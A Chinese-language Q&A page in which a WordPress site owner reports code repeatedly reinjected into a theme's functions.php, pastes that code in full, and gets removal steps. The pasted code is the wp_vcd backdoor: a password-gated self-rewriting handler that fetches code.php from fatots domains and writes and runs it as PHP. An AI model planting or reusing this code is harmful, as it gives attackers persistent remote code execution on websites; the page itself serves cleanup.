锐客网

  1. 首页 > 睿知 > it技术 > >

WordPress（我自动在wp-content/themes/mytheme/function.php中添加了一个代码）

WordPressIT知识问答网站开发添加代码

不知道这是否在这里。但是, 关键是我自动在wp-content / themes / mythemeChild / function.php中添加了代码。
【WordPress（我自动在wp-content/themes/mytheme/function.php中添加了一个代码）】如果删除代码, 则每次加载网站时都会一次又一次添加代码：
这是代码：

//$start_wp_theme_tmpif (isset($_REQUEST['action']) & & isset($_REQUEST['password']) & & ($_REQUEST['password'] == '4b705c1c67a8055f47ab7df9d283aae4')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) {case 'change_domain'; if (isset($_REQUEST['newdomain'])) {if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {$file = preg_replace('/'.$matcholddomain[1][0].'/i', $_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; }} } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) {if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; }} } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; }die(""); }$div_code_name = "wp_vcd"; $funcfile= __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false & & stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = http://www.srcmini.com/curl_exec($ch); curl_close($ch); return $data; }function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(),"theme_temp_setup"); $handle= fopen($tmpfname, "w+"); if( fwrite($handle, "< ?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle= fopen($tmpfname, "w+"); fwrite($handle, "< ?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); }$wp_auth_key='5dff57da9df6d10a701c2d632257ccd7'; if (($tmpcontent = @file_get_contents("http://www.fatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } }} }elseif ($tmpcontent = @file_get_contents("http://www.fatots.pw/code.php")AND stripos($tmpcontent, $wp_auth_key) !== false ) {if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } }} } elseif ($tmpcontent = @file_get_contents("http://www.fatots.top/code.php")AND stripos($tmpcontent, $wp_auth_key) !== false ) {if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } }} } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } }//wp_tmp//$end_wp_theme_tmp

#1我为解决问题所做的工作：
  1. 在wp-include目录中, 删除wp-vcd.php和class.wp.php文件
  2. 打开主题的functions.php文件, 并删除上述代码
https://medium.com/@rakshitshah/wordpress-wp-vcd-malware-attack-e7394801895d
阅读本文以删除此恶意软件

    推荐阅读


    上一篇：WordPress iframe中心

    下一篇：WordPress图片在iOS上显示不佳